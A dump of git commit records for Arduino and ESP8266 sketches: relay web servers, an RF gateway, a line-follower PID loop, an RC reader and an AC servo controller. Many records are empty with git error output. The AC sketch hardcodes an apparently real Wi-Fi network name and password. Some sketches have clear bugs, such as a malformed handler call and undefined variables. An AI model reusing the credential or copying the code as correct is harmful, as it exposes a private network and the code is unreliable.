webPage);\n \/\/ Turn on RELAY\n digitalWrite(k2Pin, LOW);\n Serial.println(\"RELAY 2 ON\");\n delay(500);\n });\n server.on(\"\/relay2Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k2Pin, HIGH);\n Serial.println(\"RELAY 2 OFF\");\n delay(500); \n });\n \/\/RELAY 3 ------------------------------------\n server.on(\"\/relay3On\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k3Pin, LOW);\n Serial.println(\"RELAY 3 ON\");\n delay(500);\n });\n server.on(\"\/relay3Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k3Pin, HIGH);\n Serial.println(\"RELAY 3 OFF\");\n delay(500); \n });\n \/\/RELAY 4 ------------------------------------\n server.on(\"\/relay4On\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k4Pin, LOW);\n Serial.println(\"RELAY 4 ON\");\n delay(500);\n });\n server.on(\"\/relay4Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k4Pin, HIGH);\n Serial.println(\"RELAY 4 OFF\");\n delay(500); \n });\n \/\/RELAY 5 ------------------------------------\n server.on(\"\/relay5On\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k5Pin, LOW);\n Serial.println(\"RELAY 5 ON\");\n delay(500);\n });\n server.on(\"\/relay5Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k5Pin, HIGH);\n Serial.println(\"RELAY 5 OFF\");\n delay(500); \n });\n \/\/RELAY 6 ------------------------------------\n server.on(\"\/relay6On\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k6Pin, LOW);\n Serial.println(\"RELAY 6 ON\");\n delay(500);\n });\n server.on(\"\/relay6Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k6Pin, HIGH);\n Serial.println(\"RELAY 6 OFF\");\n delay(500); \n });\n \/\/RELAY 7 ------------------------------------\n server.on(\"\/relay7On\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k7Pin, LOW);\n Serial.println(\"RELAY 7 ON\");\n delay(500);\n });\n server.on(\"\/relay7Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k7Pin, HIGH);\n Serial.println(\"RELAY 7 OFF\");\n delay(500); \n });\n \/\/RELAY 8 ------------------------------------\n server.on(\"\/relay8On\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k8Pin, LOW);\n Serial.println(\"RELAY 8 ON\");\n delay(500);\n });\n server.on(\"\/relay8Off\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k8Pin, HIGH);\n Serial.println(\"RELAY 8 OFF\");\n delay(500); \n });\n \/\/ALL RELAYS ------------------------------------\n server.on(\"\/allOn\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/ Turn on RELAY\n digitalWrite(k1Pin, LOW);\n digitalWrite(k2Pin, LOW);\n digitalWrite(k3Pin, LOW);\n digitalWrite(k4Pin, LOW);\n digitalWrite(k5Pin, LOW);\n digitalWrite(k6Pin, LOW);\n digitalWrite(k7Pin, LOW);\n digitalWrite(k8Pin, LOW);\n Serial.println(\"ALL ON\");\n delay(500);\n });\n server.on(\"\/allOff\", [](){\n server.send(200, \"text\/html\", webPage);\n \/\/Turn off RELAY\n digitalWrite(k1Pin, HIGH);\n digitalWrite(k2Pin, HIGH);\n digitalWrite(k3Pin, HIGH);\n digitalWrite(k4Pin, HIGH);\n digitalWrite(k5Pin, HIGH);\n digitalWrite(k6Pin, HIGH);\n digitalWrite(k7Pin, HIGH);\n digitalWrite(k8Pin, HIGH);\n Serial.println(\"ALL OFF\");\n delay(500); \n });\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n \/\/MAIN LOOP-------------------------------------------------------------------------------\nvoid loop() {\n server.handleClient();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ASC_Alexa_Sprinkler_Controller\/ASC_Alexa_Sprinkler_Controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ef2a413be34ee07282dd7e97e2c8793b40d49e8","subject":"Create GatewayRF3.ino","message":"Create GatewayRF3.ino","repos":"mttstt\/Domoticasite,mttstt\/Domoticasite","old_file":"GatewayRF3.ino","new_file":"GatewayRF3.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WiFiMulti.h> \n#include <ESP8266mDNS.h>\n#include <ESP8266WebServer.h> \/\/ Include the WebServer library\n\n\n\n#define SERVER_PORT 80\nconst int pulse = 360; \/\/\u03bcs\n#define UP6_SIZE 67\nint up6[67] = {1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0};\n#define pin 3 \/\/GPIO3 = RX pin\n#define NUM_ATTEMPTS 3\nchar header[10];\n#define TRACE 1 \/\/ 0= trace off 1 = trace on Do we want to see trace for debugging purposes\nvoid trc(String msg); \/\/ function prototypes \nvoid transmit_code(int code[]);\n\n\n\nESP8266WiFiMulti wifiMulti; \/\/ Create an instance of the ESP8266WiFiMulti class, called 'wifiMulti'\n\nESP8266WebServer server(80); \/\/ Create a webserver object that listens for HTTP request on port 80\n\nvoid handleRoot(String uri); \/\/ function prototypes for HTTP handlers\nvoid handleNotFound();\n\nvoid setup(void){\n Serial.begin(115200); \/\/ Start the Serial communication to send messages to the computer\n delay(10);\n Serial.println('\\n');\n\n wifiMulti.addAP(\"ssid_from_AP_1\", \"your_password_for_AP_1\"); \/\/ add Wi-Fi networks you want to connect to\n wifiMulti.addAP(\"ssid_from_AP_2\", \"your_password_for_AP_2\");\n wifiMulti.addAP(\"ssid_from_AP_3\", \"your_password_for_AP_3\");\n\n Serial.println(\"Connecting ...\");\n int i = 0;\n while (wifiMulti.run() != WL_CONNECTED) { \/\/ Wait for the Wi-Fi to connect: scan for Wi-Fi networks, and connect to the strongest of the networks above\n delay(250);\n Serial.print('.');\n }\n Serial.println('\\n');\n Serial.print(\"Connected to \");\n Serial.println(WiFi.SSID()); \/\/ Tell us what network we're connected to\n Serial.print(\"IP address:\\t\");\n Serial.println(WiFi.localIP()); \/\/ Send the IP address of the ESP8266 to the computer\n\n if (MDNS.begin(\"esp8266\")) { \/\/ Start the mDNS responder for esp8266.local\n Serial.println(\"mDNS responder started\");\n } else {\n Serial.println(\"Error setting up MDNS responder!\");\n }\n\n server.on(\"\/\",HTTP_GET, handleRoot(server.uri()); \/\/ Call the 'handleRoot' function when a client requests URI \"\/\"\n server.onNotFound(handleNotFound); \/\/ When a client requests an unknown URI (i.e. something other than \"\/\"), call function \"handleNotFound\"\n\n server.begin(); \/\/ Actually start the server\n Serial.println(\"HTTP server started\");\n}\n\nvoid loop(void){\n server.handleClient(); \/\/ Listen for HTTP requests from clients\n}\n\n\n\/\/ trace function\nvoid trc(String msg){if (TRACE) { Serial.println(msg); } }\n\n\nvoid transmit_code(int code[]){\n for (int i = 0; i < NUM_ATTEMPTS; i++) { \n \/\/ ----------------------- Preamble ----------------------\n trc(\"transmit preamble\");\n digitalWrite(pin, LOW); \n delay(3000); \/\/ sleep for 0,3 seconds\n for (int i = 0; i < 12; i++) { \n digitalWrite(pin, HIGH); \n delayMicroseconds(pulse);\n digitalWrite(pin, LOW); \n delayMicroseconds(pulse); \n }\n \/\/ ---------------------- End Preamble --------------------\n \/\/ -----------------------Segnal --------------------------\n trc(\"transmit segnal\");\n digitalWrite(pin, LOW);\n delayMicroseconds(3500); \/\/ added 3,5 millis\n int c=0;\n for (c=0;c<UP6_SIZE;c++) { \n if (code[c] == '1'){ \n digitalWrite(pin, HIGH); \n delayMicroseconds(pulse);\n digitalWrite(pin, LOW); \n delayMicroseconds(pulse*2);\n } \n else if (code[c] == '0'){\n digitalWrite(pin, HIGH); \n delayMicroseconds(pulse*2);\n digitalWrite(pin, LOW); \n delayMicroseconds(pulse);\n } \n else\n { \n digitalWrite(pin, LOW);\n delayMicroseconds(3000); \/\/ added 3 millis\n }\n \/\/ ---------------------End Segnal -------------------------- \n }\n yield();\n delay(2000); \/\/ added 2 millis \n }\n}\n\n\nvoid handleRoot(String uri) {server.send(200, \"text\/html\", \"<h1> Gateway Rf <\/h1> <p>uri<\/p> \");\n transmit_code(up6); \n }\n\nvoid handleNotFound(){\n server.send(404, \"text\/plain\", \"404: Not found\"); \/\/ Send HTTP status 404 (Not Found) when there's no handler for the URI in the request\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GatewayRF3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"61f2ce944afa337ea67810914814fdf954b50e0b","subject":"Removed MACROS","message":"Removed MACROS\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"609de289ebfef3341d0d4f18746181c0b0949547","subject":"pulled rainbow strip code, merged, added beam steam","message":"pulled rainbow strip code, merged, added beam steam\n","repos":"stewartadam\/lulzsaber","old_file":"strip\/strip.ino","new_file":"strip\/strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stewartadam\/lulzsaber.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3c102e9bb89615afcf57fb0e01bf81555803a582","subject":"Agregado un POC de generic read sensor","message":"Agregado un POC de generic read sensor\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"pocs\/generic-sensor-read\/generic-sensor-read.ino","new_file":"pocs\/generic-sensor-read\/generic-sensor-read.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"755dedcfacbbd81846284d4c850c28ff1afcd339","subject":"added pid file","message":"added pid file\n","repos":"majeedk526\/Advanced-Line-follower","old_file":"pid.ino","new_file":"pid.ino","new_contents":"#include \"DCMotors.h\" \n#include \"Sensor.h\"\n\n\nDCMotors<10,18,19,11,14,15> motors; \/\/enL, L1, L2, enR, R1, R2\nSensor<2,3,4,5,6,7,8,9> sensors;\n\nfloat Kp=0, Ki=0,Kd=0;\nfloat error=0, P=0, I=0, D=0, PID_value=0;\nfloat previous_error=0, previous_I=0;\nint sensor[8]={0, 0, 0, 0, 0, 0, 0, 0};\n\nvoid read_sensor_values(void);\nvoid calculate_pid(void);\nvoid motor_control(void);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n Serial.begin(9600);\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n sensors.updateError;\n calculate_pid();\n motor_control();\n\n}\n\n\nvoid calculate_pid()\n{\n error = sensors.error;\n P = error;\n I = I + error;\n D = error - previous_error;\n \n PID_value = (Kp*P) + (Ki*I) + (Kd*D);\n \n previous_error=error;\n}\n\nvoid motor_control()\n{\n int left_motor_speed = initial_motor_speed-PID_value;\n int right_motor_speed = initial_motor_speed+PID_value;\n \n constrain(left_motor_speed,0,255);\n constrain(right_motor_speed,0,255);\n \n analogWrite(9,left_motor_speed); \/\/Left Motor Speed\n analogWrite(10,right_motor_speed); \/\/Right Motor Speed\n \n digitalWrite(4,HIGH);\n digitalWrite(5,LOW);\n digitalWrite(6,LOW);\n digitalWrite(7,HIGH);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b6de7f0d592f3a1e90fac79835a673f0aa927a16","subject":"Mudan\u00e7a de status para a porta","message":"Mudan\u00e7a de status para a porta\n","repos":"jvenancio\/MayIGoTTB","old_file":"arduino\/mayIGoTTB\/mayIGoTTB.ino","new_file":"arduino\/mayIGoTTB\/mayIGoTTB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jvenancio\/MayIGoTTB.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b145e16785ab02d4f95dbe1dea70b81e518f57e1","subject":"new code to test all RC channels","message":"new code to test all RC channels\n","repos":"robotworksinc\/Flyboard-1000,robotworksinc\/Flyboard-1000,robotworksinc\/Flyboard-1000","old_file":"arduino\/src\/T-80AFLAME\/rc_radio\/rc_radio.ino","new_file":"arduino\/src\/T-80AFLAME\/rc_radio\/rc_radio.ino","new_contents":"#include <PinChangeInt.h>\n\n\/\/ Variable to read channel values into\nint channels[6];\n\n\/\/ Define RC channels pin numbers\n#define RC_THROTTLE 2\n#define RC_ROLL 4\n#define RC_PITCH 7\n#define RC_YAW 8\n#define RC_PIN5 12\n#define RC_PIN6 13\n\n\/\/ These bit flags are set in bUpdateFlagsShared to indicate which\n\/\/ channels have new signals\n#define THROTTLE_FLAG 1\n#define ROLL_FLAG 2\n#define PITCH_FLAG 4\n#define YAW_FLAG 8\n#define PIN5_FLAG 12\n#define PIN6_FLAG 14\n\n\/\/ Volatile global variables\nvolatile uint8_t bUpdateFlagsShared;\nvolatile uint16_t unThrottleInShared, unYawInShared, unPitchInShared, unRollInShared, unPin5InShared, unPin6InShared;\n\nuint32_t ulThrottleStart, ulYawStart, ulPitchStart, ulRollStart, ulPin5Start, ulPin6Start;\n\n\n\/\/ ===== RC Interrupt functions =================================================\n\/\/ simple interrupt service routine\nvoid calcThrottle()\n{\n if(digitalRead(RC_THROTTLE) == HIGH)\n {\n ulThrottleStart = micros();\n }\n else\n {\n unThrottleInShared = (uint16_t)(micros() - ulThrottleStart);\n bUpdateFlagsShared |= THROTTLE_FLAG;\n }\n}\n\n\nvoid calcYaw()\n{\n if(digitalRead(RC_YAW) == HIGH)\n {\n ulYawStart = micros();\n }\n else\n {\n unYawInShared = (uint16_t)(micros() - ulYawStart);\n bUpdateFlagsShared |= YAW_FLAG;\n }\n}\n\nvoid calcPitch()\n{\n if(digitalRead(RC_PITCH) == HIGH)\n {\n ulPitchStart = micros();\n }\n else\n {\n unPitchInShared = (uint16_t)(micros() - ulPitchStart);\n bUpdateFlagsShared |= PITCH_FLAG;\n }\n}\n\n\nvoid calcRoll()\n{\n if(digitalRead(RC_ROLL) == HIGH)\n {\n ulRollStart = micros();\n }\n else\n {\n unRollInShared = (uint16_t)(micros() - ulRollStart);\n bUpdateFlagsShared |= ROLL_FLAG;\n }\n}\n\nvoid calcPin5()\n{\n if(digitalRead(RC_PIN5) == HIGH)\n {\n ulPin5Start = micros();\n }\n else\n {\n unPin5InShared = (uint16_t)(micros() - ulPin5Start);\n bUpdateFlagsShared |= PIN5_FLAG;\n }\n}\n\nvoid calcPin6()\n{\n if(digitalRead(RC_PIN6) == HIGH)\n {\n ulPin6Start = micros();\n }\n else\n {\n unPin6InShared = (uint16_t)(micros() - ulPin6Start);\n bUpdateFlagsShared |= PIN6_FLAG;\n }\n}\n\nvoid read(int channels[]) {\n \/\/ local copy of channel inputs\n static uint16_t unThrottleIn, unYawIn, unPitchIn, unRollIn, unPin5In, unPin6In;\n \n \/\/ local copy of update flags\n static uint8_t bUpdateFlags;\n\n \/\/ check shared update flags to see if any channels have a new signal\n if(bUpdateFlagsShared)\n {\n noInterrupts(); \/\/ turn interrupts off quickly while we take local copies of the shared variables\n\n \/\/ take a local copy of which channels were updated in case we need to use this in the rest of loop\n bUpdateFlags = bUpdateFlagsShared;\n \n if(bUpdateFlags & THROTTLE_FLAG)\n {\n unThrottleIn = unThrottleInShared;\n }\n\n if(bUpdateFlags & YAW_FLAG)\n {\n unYawIn = unYawInShared;\n }\n\n if(bUpdateFlags & PITCH_FLAG)\n {\n unPitchIn = unPitchInShared;\n }\n \n if(bUpdateFlags & ROLL_FLAG)\n {\n unRollIn = unRollInShared;\n }\n\n if(bUpdateFlags & PIN5_FLAG)\n {\n unPin5In = unPin5InShared;\n }\n\n if(bUpdateFlags & PIN6_FLAG)\n {\n unPin6In = unPin6InShared;\n }\n \n bUpdateFlagsShared = 0;\n \n interrupts(); \n }\n \n if(bUpdateFlags & THROTTLE_FLAG)\n {\n channels[0] = unThrottleIn;\n }\n\n if(bUpdateFlags & ROLL_FLAG)\n {\n channels[1] = unRollIn;\n }\n\n if(bUpdateFlags & PITCH_FLAG)\n {\n channels[2] = unPitchIn;\n } \n \n if(bUpdateFlags & YAW_FLAG)\n {\n channels[3] = unYawIn;\n } \n\n if(bUpdateFlags & PIN5_FLAG)\n {\n channels[4] = unPin5In;\n }\n\n if(bUpdateFlags & PIN6_FLAG)\n {\n channels[5] = unPin6In;\n }\n \n bUpdateFlags = 0;\n \n}\n\n\nvoid setup() {\n \/\/ Setup Serial port\n Serial.begin(115200);\n\n \/\/ Attach pin interrupt to RC channels\n PCintPort::attachInterrupt(RC_THROTTLE,calcThrottle,CHANGE);\n PCintPort::attachInterrupt(RC_ROLL,calcRoll,CHANGE);\n PCintPort::attachInterrupt(RC_PITCH,calcPitch,CHANGE);\n PCintPort::attachInterrupt(RC_YAW,calcYaw,CHANGE); \n PCintPort::attachInterrupt(RC_PIN5,calcPin5,CHANGE);\n PCintPort::attachInterrupt(RC_PIN6,calcPin6,CHANGE);\n}\n\nvoid loop() {\n \/\/ Get values from 4 RC channels (Throttle, Yaw, Pitch and Roll)\n read(channels);\n\n Serial.println(\"Throttle:\");\n Serial.println(channels[0]);\n\n Serial.println(\"Roll:\");\n Serial.println(channels[1]);\n\n Serial.println(\"Pitch:\");\n Serial.println(channels[2]);\n\n Serial.println(\"Yaw:\");\n Serial.println(channels[3]);\n\n Serial.println(\"Pin5:\");\n Serial.println(channels[4]);\n\n Serial.println(\"Pin6:\");\n Serial.println(channels[5]); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/src\/T-80AFLAME\/rc_radio\/rc_radio.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"751947f4115db523c22827e4de2516ef0dd467f2","subject":"Update line-following_withQTR.ino","message":"Update line-following_withQTR.ino","repos":"katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400","old_file":"code dump\/line-following_withQTR.ino","new_file":"code dump\/line-following_withQTR.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'dump\/line-following_withQTR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5db97f387dc1cd582639c326c674b1909d30ecf2","subject":"Final version arduino door source","message":"Final version arduino door source\n\nBugfixes\nMade code more elegant\n","repos":"tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies,tdmike\/EmergingTechnologies","old_file":"Deur applicatie\/Arduino\/EmergingTech_deur3\/EmergingTech_deur3.ino","new_file":"Deur applicatie\/Arduino\/EmergingTech_deur3\/EmergingTech_deur3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tdmike\/EmergingTechnologies.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2139cd61509e9bc35698edc041aa37d3f4bb346e","subject":"#155 eventor basic sketch","message":"#155 eventor basic sketch\n","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/Widgets\/Eventor\/Eventor.ino","new_file":"examples\/Widgets\/Eventor\/Eventor.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * You can use predefined rules on application side.\n *\n * Project setup in the Blynk app:\n * Eventor widget with next rules :\n * a) When V0 is equal to 1, set V1 to 255;\n b) When V0 is equal to 0, set V1 to 0;\n * Led widget on V1 pin\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nSimpleTimer timer;\nboolean flag = true;\n\nvoid sendFlagToServer() {\n if (flag) {\n Blynk.virtualWrite(V0, 1);\n } else {\n Blynk.virtualWrite(V0, 0);\n }\n flag = !flag;\n}\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth, IPAddress(192,168,0,53));\n\n while (Blynk.connect() == false) {\n \/\/ Wait until connected\n }\n\n \/\/ Setup a function to be called every second\n timer.setInterval(1000L, sendFlagToServer);\n}\n\nBLYNK_WRITE(V1) {\n \/\/here you'll get 0 or 255\n int ledValue = param.asInt();\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Widgets\/Eventor\/Eventor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b3b754cbb79f0776511d73c4293ddee0f9c3e7bc","subject":"USB\u63a5\u7d9a\u632f\u52d5\u30e2\u30fc\u30bf","message":"USB\u63a5\u7d9a\u632f\u52d5\u30e2\u30fc\u30bf\n","repos":"deton\/LyncRingNotify","old_file":"usbvibration\/usbvibration.ino","new_file":"usbvibration\/usbvibration.ino","new_contents":"\/\/ https:\/\/github.com\/thomasfredericks\/Metro-Arduino-Wiring\n#include <Metro.h>\n\nconst int MOTORPIN = 2;\n\nMetro blink = Metro(400);\nbool isVibrationOn = false;\nbool isMotorOn = false;\nuint32_t now;\n\nvoid onMotor(void)\n{\n digitalWrite(MOTORPIN, HIGH);\n isMotorOn = true;\n}\n\nvoid offMotor(void)\n{\n digitalWrite(MOTORPIN, LOW);\n isMotorOn = false;\n}\n\nvoid beginVibration(void)\n{\n blink.reset();\n isVibrationOn = true;\n}\n\nvoid endVibration(void)\n{\n offMotor();\n isVibrationOn = false;\n}\n\nvoid vibrationLoop(void)\n{\n if (!isVibrationOn) {\n return;\n }\n if (blink.check()) {\n if (isMotorOn) {\n offMotor();\n } else {\n onMotor();\n }\n }\n}\n\nvoid parseMessage(char letter)\n{\n switch (letter) {\n case 'v':\n beginVibration();\n break;\n case 'V':\n endVibration();\n break;\n default:\n break;\n }\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n Mouse.begin();\n pinMode(MOTORPIN, OUTPUT);\n}\n\nstatic void mouseLoop()\n{\n \/\/ move mouse to avoid screen saver\n static uint32_t mprevms = 0;\n const uint32_t PCLOCKMS = 540000; \/\/ 9 [min]\n if (now - mprevms > PCLOCKMS) {\n mprevms = now;\n Mouse.move(1, 0, 0);\n \/\/Serial.write(\"M\");\n }\n}\n\nvoid loop()\n{\n now = millis();\n vibrationLoop();\n mouseLoop();\n while (Serial.available()) {\n char letter = Serial.read();\n parseMessage(letter);\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"9f45b2ee2354ddea9e3ea6d1d309f904f5110a2f","subject":"Adding text","message":"Adding text\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e46d647d28607400d50a5922def3e7cd4c1b4855","subject":"initial ESP AC control","message":"initial ESP AC control\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/AirCControl\/AirCControl.ino","new_file":"examples\/AirCControl\/AirCControl.ino","new_contents":"\n \n#include <pthread.h>\n\n#include \"MqttConnection.h\"\n\n\nMqttConnection * myMqtt;\n\n\n\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n#define SENSOR_ID \"AC\"\n\n\n#define SERVO1_TURNL_PIN D1\n#define SERVO1_TURNR_PIN D2 \n#define SERVO2_TURNL_PIN D1\n#define SERVO2_TURNR_PIN D2 \n#define SERVO3_TURNL_PIN D1\n#define SERVO3_TURNR_PIN D2 \n#define SERVO4_TURNL_PIN D1\n#define SERVO4_TURNR_PIN D2 \n\n#define SERVO_MASTER1_TURNL_PIN D1\n#define SERVO_MASTER1_TURNR_PIN D2 \n#define SERVO_MASTER1_TURNL_PIN D1\n#define SERVO_MASTER1_TURNR_PIN D2 \n#define SERVO_MASTER1_TURNL_PIN D1\n#define SERVO_MASTER1_TURNR_PIN D2 \n\n#define SERVO_CHAMBRE1 0\n#define SERVO_CHAMBRE2 1\n#define SERVO_CHAMBRE3 2\n#define SERVO_DREAMROOM 3\n#define SERVO_ETAGE 4\n#define SERVO_SALON 5\n#define SERVO_MASTER2 6\n\n\n#define AERO_IDLE \"1\"\n#define AERO_CONFIG_ONGOING \"2\"\n#define AERO_CONFIGURED \"3\"\n\n#define NB_SERVO 7\n\nString ID_TO_ROOM[NB_SERVO];\n\nbool servoRunning[NB_SERVO];\nint positionArray[NB_SERVO];\nint positionTargetArray[NB_SERVO];\nint positionLoopCounter[NB_SERVO];\n\n\n#define ONE_DEGREE_COUNTER 10\n\n#define LOOP_PERIOD 10\nunsigned long time_now = 0;\n\n\/************************* MQTT *********************************\/\n\n#define MQTT_SERVER \"192.168.1.27\"\n#define MQTT_PORT 1883\n\n\nint loopCounter = 0;\nbool bootComplete = false;\nbool endOfConfigRequestedFromHost = false;\n\nvoid processACMsg(char* topic, byte* payload, unsigned int length)\n{\n \n Serial.println(\"Received custom command\");\n String strPayload = \"\";\n for (int i = 0; i < length; i++)\n {\n strPayload += (char)payload[i];\n }\n\n \n if(String(topic) == \"AC\/ESP\/SERVO\/RUN_ALL\"){\n int servoId = (char)payload[0];\n\t\t Serial.println(\"Received SERVO RUN ALL \");\n endOfConfigRequestedFromHost = true;\n \n \n }\n else if(String(topic) == \"AC\/ESP\/SERVO\/RESET\"){\n Serial.println(\"Received SERVO RESET !!!!!!!!!!!!!!!!!!\");\n\n initPositions(); \/\/is it really needed to wait for end of all closures?\n\n delay(4000);\n myMqtt->publishValue(\"ESP\/INIT_DONE\", \"1\");\n } \n else if(String(topic) == \"AC\/ESP\/PING\")\n {\n Serial.println(\"Ping received.replying\");\n myMqtt->publishValue(\"ESP\/PONG\", \"1\");\n }\n else if(String(topic) == \"AC\/ESP\/SERVO\/CHAMBRE1\/ANGLE\"){ Serial.print(\"Received Angle setting : \"); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_CHAMBRE1] = atoi(strPayload.c_str()); servoRunning[SERVO_CHAMBRE1] = true;}\n else if(String(topic) == \"AC\/ESP\/SERVO\/CHAMBRE2\/ANGLE\"){ Serial.print(\"Received Angle setting : \"); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_CHAMBRE2] = atoi(strPayload.c_str()); servoRunning[SERVO_CHAMBRE2] = true;}\n else if(String(topic) == \"AC\/ESP\/SERVO\/CHAMBRE3\/ANGLE\"){ Serial.print(\"Received Angle setting : \"); Serial.println(atoi(strPayload.c_str())); 